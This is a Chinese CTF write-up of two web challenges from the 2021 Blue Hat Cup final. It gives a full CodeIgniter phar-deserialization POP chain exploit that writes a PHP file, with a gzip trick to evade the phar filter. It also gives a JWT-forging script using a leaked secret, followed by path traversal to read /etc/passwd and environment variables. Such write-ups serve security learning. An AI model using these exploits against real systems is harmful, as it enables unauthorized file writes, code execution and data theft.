【技術分享】2021藍帽杯決賽Web wp

題目給了源碼,本地搭建一下。
框架是CodeIgniter。需要開幾個php拓展,用phpstudy直接開就行。網站->管理->php拓展 redis和intl。
拿到源碼先看路由

首先看到的是Upload路由,它接收了一個文件,file_get_contents讀出了這個文件,并過濾。所以文件內容不能含有HALT_COMPILER需要bypass。第二個過濾告訴我們白名單是什么。
這里其實很容易想到phar反序列化。
再來看一下Check路由

發現使用了getimagesize且參數可控。getimagesize函數是可以觸發反序列化的。
因此我們開始著手挖掘pop鏈。

搜索__destruct發現這里的redis可控,可以觸發任意類的close。
于是我們全局搜索close

發現了這個close。當$this->redis存在時,try內的東西拋出錯誤的時候,就會進入catch方法。
這里的$this->redis就需要用到我們的php拓展 redis中的類了。

關于這里,logger是可控的,于是可以調用任意類的error

找到了這個類,調用了log

看下這個log方法。

重點在這里。這些handlerConfig都是可控的,因此$className和$config也都是可控的所以說$this->handlers[$className]就可控,進一步,$handler也是可控的。

查詢一下發現只有一個地方調用了setDateFormat
它會給handler類的dateFormat屬性賦值。可以賦任意值。
然后就是調用了handler類的handle方法。
找到FileHandler類中的handle方法

仔細觀察發現可以寫文件

嘗試構造。
先自己寫一個類
namespace App\Controllers;
class User extends BaseController{ public function index(){ return unserialize($_GET['ser']);; }}
然后開始構造EXP:
namespace CodeIgniter\Session\Handlers{
class RedisHandler{ protected $redis; protected $logger;
public function __construct($logger,$redis){ $this->logger=$logger; $this->redis = $redis; } }}
namespace CodeIgniter\Cache\Handlers{ class RedisHandler{ protected $redis; public function __construct($redis){ $this->redis=$redis; } }}
namespace CodeIgniter\Log{ class Logger{ }}
namespace { $c=new CodeIgniter\Log\Logger(); $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis()); $a=new CodeIgniter\Cache\Handlers\RedisHandler($b); echo urlencode(serialize($a));}
首先第一步,構造前幾個類。前幾個類還是比較容易構造的。
來仔細研究一下Logger類的參數該如何構造。
為了防止出錯我們先把所有的參數復制過來,然后再修改。
protected $logLevels = [ 'emergency' => 1, 'alert' => 2, 'critical' => 3, 'error' => 4, 'warning' => 5, 'notice' => 6, 'info' => 7, 'debug' => 8, ]; protected $loggableLevels = []; protected $filePermissions = 0644; protected $dateFormat = 'Y-m-d H:i:s'; protected $fileExt; protected $handlers = []; protected $handlerConfig = []; public $logCache; protected $cacheLogs = false;
首先需要修改的就是$handlerConfig因為它影響了我們的$handler賦值

鍵名為類名,值為類的實際參數,我們看一下我們要用的FileHandler類有哪些參數。然后把這些參數填入$config
現在是這樣子的
protected $logLevels = [ 'emergency' => 1, 'alert' => 2, 'critical' => 3, 'error' => 4, 'warning' => 5, 'notice' => 6, 'info' => 7, 'debug' => 8, ]; protected $loggableLevels = []; protected $filePermissions = 0644; protected $dateFormat = 'Y-m-d H:i:s'; protected $fileExt; protected $handlers = []; protected $handlerConfig = [ 'CodeIgniter\Log\Handlers\FileHandler'=>[ "path"=>"aa", "fileExtension"=>"php", "filePermissions"=>"aa" ]]; public $logCache; protected $cacheLogs = false;
然后嘗試反序列化,調試。
打進去單步調試,前幾步沒有太大問題


到log這里就出現問題了,我們看下問題出現在哪里。

經過調試發現,這個地方返回了true也就是說會直接出去。因此我們想辦法讓他過這個地方
in_array是檢查數組中師傅含有該值,此時$level的值為

因此我們給$this->loggableLevels賦值。

把可用的都加上。

經過調試發現這里會直接進入continue,不會進入下面。想辦法改一下。
進入BaseHandler查看


只要讓它返回true就好了。

此時level為error,只要給handlers賦值就可以了。
那我們繼續賦值

這樣,就可以過這個地方了。

進入handle方法,且參數都是我們控制的。

但是這里有個waf,當后綴是php的時候,那么就會產生一個”死亡exit”

這里的$date會被寫入,也就是dateFormat它也是我們可控的。
因此第一次我們寫入的東西就是這樣子的

這里加入了死亡exit,dateFormat的東西被寫進來了。
因此再次更改exp。
如果直接寫php的話,h會被date解析成小時,會變成這樣,于是就需要轉義符

protected $handlerConfig = [ 'CodeIgniter\Log\Handlers\FileHandler'=>[ 'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'], "path"=>"uploads/", "fileExtension"=>"a.php", "filePermissions"=>"aa" ]];
繞過死亡exit讓后綴不為php就行,我們讓他成為a.php

ok成功寫入。

鏈子已打通,嘗試構造phar。

把php.ini的readonly關閉
生成phar上傳

不出所料,被過濾了,原因是phar中含有HALT_COMPILER那么 如何繞過?
我們把這個phar拿去gzip一下
gzip phar.jpg

就可以繞過檢測。
index.php/Check?file=phar://uploads/phar.jpg/test.txt
觸發

發現這里寫子目錄好像不太行,給他改成絕對路徑,因為本地測試和phar進入還是有點不一樣的


最終exp
namespace CodeIgniter\Session\Handlers{
class RedisHandler{ protected $redis; protected $logger;
public function __construct($logger,$redis){ $this->logger=$logger; $this->redis = $redis; } }}
namespace CodeIgniter\Cache\Handlers{ class RedisHandler{ protected $redis; public function __construct($redis){ $this->redis=$redis; } }}
namespace CodeIgniter\Log{ class Logger{ protected $logLevels = [ 'emergency' => 1, 'alert' => 2, 'critical' => 3, 'error' => 4, 'warning' => 5, 'notice' => 6, 'info' => 7, 'debug' => 8, ]; protected $loggableLevels = ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning']; protected $filePermissions = 0644; protected $dateFormat = 'Y-m-d H:i:s'; protected $fileExt; protected $handlers = []; protected $handlerConfig = [ 'CodeIgniter\Log\Handlers\FileHandler'=>[ 'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'], "path"=>"C:\Users\Yang_99\Desktop\bluehat\ImageCheck_cada3f80864345f87ae335e4888826eb\public\uploads", "fileExtension"=>"bbb.php", "filePermissions"=>"aa" ]]; public $logCache; protected $cacheLogs = false; }}
namespace { $c=new CodeIgniter\Log\Logger(); $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis()); $a=new CodeIgniter\Cache\Handlers\RedisHandler($b); echo urlencode(serialize($a)); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->setStub(""); //設置stub $phar->setMetadata($a); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算 $phar->stopBuffering();
}
editjs
這道題打開根據提示發現了JWT token

http://eci-2ze44hd5fno9nykys6w3.cloudeci1.ichunqiu.com:8888/getfile?filename=/env/secret.key
發現token
K3yy
使用jwt token進行偽造
腳本
import jwtimport time
# payloadtoken_dict = { "data": "admin", "iat": int(time.time()), # "iat": 1629784832 , "exp": int(time.time())+1800 # "exp": 1629786632}
# headersheaders = { "alg": "HS256", "typ": "JWT"}print()jwt_token = jwt.encode(token_dict, # payload, 有效載體 key='K3yy', headers=headers, # json web token 數據結構包含兩部分, payload(有效載體), headers(標頭) algorithm="HS256", # 指明簽名算法方式, 默認也是HS256 )print(jwt_token)
如果沒有庫可以按照Pyjwt
得到token就可以讀文件了

這樣可以讀取到源碼。根據源碼進行審計

發現這里使用了拼接。嘗試目錄穿越讀取

發現可以讀到/etc/passwd
注釋里說flag在環境變量,于是讀一下環境變量,就出了

該是非預期了,預期解是GKCTF2021-easy